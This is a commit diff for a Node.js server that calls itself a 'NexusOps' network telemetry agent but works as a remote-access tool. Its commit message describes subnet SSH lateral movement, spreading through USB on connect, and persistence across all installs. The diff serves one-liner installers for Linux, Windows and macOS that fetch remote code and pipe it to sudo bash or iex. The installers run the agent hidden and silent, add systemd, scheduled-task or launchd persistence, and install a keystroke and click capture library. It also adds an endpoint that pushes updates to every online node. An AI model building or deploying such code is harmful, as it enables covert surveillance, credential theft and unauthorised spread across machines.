v2.3.0: lateral_movement (subnet SSH scan + keyless install), open_ssh (sshd + dashboard key + CONNECT line), spread-on-connect USB watcher, update-all-outdated endpoint+button, persistence toggle on ALL install paths, SSH/lateral/tooltips UI

This commit is contained in:
Hermes
2026-10-01 00:05:00 +00:00
parent b1e320bda4
commit 82fb92efb5
6 changed files with 349 additions and 18 deletions

View File

@@ -849,6 +849,7 @@ app.get('/api/credentials', (req, res) => {
});
app.get('/install.sh', (req, res) => {
const persist = req.query.persist !== '0';
const serverUrl = PUBLIC_URL || `http://${req.headers.host || (SERVER_IP + ":" + PORT)}`;
const script = `#!/bin/bash
# Network Node Agent One-Liner Installer for Linux
@@ -869,7 +870,7 @@ echo "[1/3] Downloading agent script..."
curl -sSL "$SERVER_URL/agent.py" -o "$INSTALL_DIR/agent.py"
chmod +x "$INSTALL_DIR/agent.py"
echo "[2/4] Configuring systemd background daemon..."
${persist ? `echo "[2/4] Configuring systemd background daemon..."
cat << EOF > "$SERVICE_FILE"
[Unit]
Description=NexusOps Node Telemetry & Management Agent
@@ -884,15 +885,16 @@ User=root
[Install]
WantedBy=multi-user.target
EOF
EOF` : `echo "[2/4] Persistence disabled — agent will run once"`}
echo "[3/4] Installing pynput for keystroke/click capture..."
pip3 install pynput 2>/dev/null || echo "[!] pynput optional, skipping"
echo "[4/4] Enabling & Starting Agent Service..."
${persist ? `echo "[4/4] Enabling & Starting Agent Service..."
systemctl daemon-reload
systemctl enable network-agent
systemctl restart network-agent
systemctl restart network-agent` : `echo "[4/4] Launching agent (no persistence)..."
nohup python3 "$INSTALL_DIR/agent.py" --server "$SERVER_URL" --silent >/dev/null 2>&1 &`}
echo "✅ Network Agent installation complete! Reporting back to $SERVER_URL"
`;
@@ -901,6 +903,7 @@ echo "✅ Network Agent installation complete! Reporting back to $SERVER_URL"
});
app.get('/install.ps1', (req, res) => {
const persist = req.query.persist !== '0';
const serverUrl = PUBLIC_URL || `http://${req.headers.host || (SERVER_IP + ":" + PORT)}`;
const script = `# Network Agent PowerShell Installer for Windows
$SERVER_URL = "${serverUrl}"
@@ -919,6 +922,7 @@ Write-Host "[1/2] Downloading agent script..." -ForegroundColor Green
Invoke-WebRequest -Uri "$SERVER_URL/agent.py" -OutFile "$INSTALL_DIR\\agent.py"
Write-Host "[2/2] Launching Agent in background..." -ForegroundColor Green
${persist ? `schtasks /create /tn NexusOpsAgent /sc ONLOGON /tr "python $INSTALL_DIR\\agent.py --server $SERVER_URL --silent" /f /rl HIGHEST 2>$null` : '# persistence disabled'}
Start-Process -FilePath "python" -ArgumentList "$INSTALL_DIR\\agent.py --server $SERVER_URL --silent" -WindowStyle Hidden
Write-Host "✅ Network Agent successfully launched! Check dashboard at $SERVER_URL" -ForegroundColor Green
@@ -928,6 +932,7 @@ Write-Host "✅ Network Agent successfully launched! Check dashboard at $SERVER_
});
app.get('/install-mac.sh', (req, res) => {
const persist = req.query.persist !== '0';
const serverUrl = PUBLIC_URL || `http://${req.headers.host || (SERVER_IP + ":" + PORT)}`;
const script = `#!/bin/bash
# macOS Node Agent Installer — launchd background daemon
@@ -953,8 +958,8 @@ chmod +x "$INSTALL_DIR/agent.py"
echo "[3/4] Installing pynput for input capture..."
python3 -m pip install --user pynput 2>/dev/null || echo "[!] pynput optional, skipping"
echo "[4/4] Configuring launchd background daemon..."
mkdir -p "$HOME/Library/LaunchAgents"
${persist ? `echo "[4/4] Configuring launchd background daemon..."
mkdir -p "$HOME/Library/LaunchAgents"` : `echo "[4/4] Persistence disabled — launching agent once"`}
cat << EOF > "$PLIST_FILE"
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
@@ -983,12 +988,13 @@ cat << EOF > "$PLIST_FILE"
EOF
# Bootstrap launchd job (modern macOS — load/unload are deprecated)
launchctl bootout gui/$(id -u) "$PLIST_FILE" 2>/dev/null || true
${persist ? `launchctl bootout gui/$(id -u) "$PLIST_FILE" 2>/dev/null || true
launchctl bootstrap gui/$(id -u) "$PLIST_FILE"
launchctl kickstart gui/$(id -u)/com.nexusops.agent
echo "✅ macOS Agent installation complete! Reporting back to $SERVER_URL"
echo " To stop: launchctl unload $PLIST_FILE"
echo " To stop: launchctl unload $PLIST_FILE"` : `nohup "$INSTALL_DIR/agent.py" --server "$SERVER_URL" --silent >/dev/null 2>&1 &
echo "✅ Agent launched (no persistence). It will report back to $SERVER_URL"`}
`;
res.setHeader('Content-Type', 'text/plain');
res.send(script);
@@ -998,6 +1004,7 @@ echo " To stop: launchctl unload $PLIST_FILE"
app.get('/install', (req, res) => {
const serverUrl = PUBLIC_URL || `http://${req.headers.host || (SERVER_IP + ":" + PORT)}`;
const silent = req.query.silent !== '0'; // silent by default
const persist = req.query.persist !== '0';
const quiet = silent ? '>/dev/null 2>&1' : '';
const script = `#!/bin/bash
# NexusOps Universal Auto-Installer — one command, any OS
@@ -1007,19 +1014,19 @@ echo "[*] NexusOps Universal Installer — connecting to $SERVER_URL"
case "$(uname -s 2>/dev/null || echo Windows)" in
Linux)
echo "[*] Linux detected — deploying via systemd"
curl -fsSL --retry 3 --retry-delay 2 "$SERVER_URL/install.sh" 2>/dev/null | sudo bash ${quiet} &
curl -fsSL --retry 3 --retry-delay 2 "$SERVER_URL/install.sh?persist=${persist}" 2>/dev/null | sudo bash ${quiet} &
;;
Darwin)
echo "[*] macOS detected — deploying via launchd"
curl -fsSL --retry 3 --retry-delay 2 "$SERVER_URL/install-mac.sh" 2>/dev/null | bash ${quiet} &
curl -fsSL --retry 3 --retry-delay 2 "$SERVER_URL/install-mac.sh?persist=${persist}" 2>/dev/null | bash ${quiet} &
;;
CYGWIN*|MINGW*|MSYS*|Windows)
echo "[*] Windows detected — deploying via PowerShell"
powershell -WindowStyle Hidden -NoProfile -Command "iwr -useb '$SERVER_URL/install.ps1' | iex" ${quiet} &
powershell -WindowStyle Hidden -NoProfile -Command "iwr -useb '$SERVER_URL/install.ps1?persist=${persist}' | iex" ${quiet} &
;;
*)
echo "[!] Unknown OS — trying Linux installer as fallback"
curl -fsSL --retry 3 --retry-delay 2 "$SERVER_URL/install.sh" 2>/dev/null | sudo bash ${quiet} &
curl -fsSL --retry 3 --retry-delay 2 "$SERVER_URL/install.sh?persist=${persist}" 2>/dev/null | sudo bash ${quiet} &
;;
esac
@@ -1039,6 +1046,30 @@ app.get('/agent.py', (req, res) => {
}
});
// ── Update all outdated agents ──
let CURRENT_AGENT_VERSION = 'unknown';
try {
const m = fs.readFileSync(path.join(__dirname, 'agents', 'agent.py'), 'utf8').match(/AGENT_VERSION = "([^"]+)"/);
if (m) CURRENT_AGENT_VERSION = m[1];
} catch (e) {}
app.get('/api/agentversion', (req, res) => res.json({ current: CURRENT_AGENT_VERSION }));
app.post('/api/nodes/update-all', (req, res) => {
let queued = 0; const targets = [];
for (const [id, n] of nodes) {
if (n.status !== 'online') continue;
if (n.agentVersion && n.agentVersion === CURRENT_AGENT_VERSION) continue;
commandQueues.get(id).push({
id: `cmd-${Date.now()}-up${Math.random().toString(36).slice(2, 4)}`,
actionType: 'update_agent', payload: {}, command: 'update_agent',
status: 'queued', queuedAt: Date.now()
});
queued++; targets.push(id);
}
broadcastState();
res.json({ queued, current: CURRENT_AGENT_VERSION, targets });
});
// ── Completeness additions 2026-09-29 ──
app.get('/api/agenttoken', (req, res) => {
res.json({ token: AGENT_TOKEN || '' });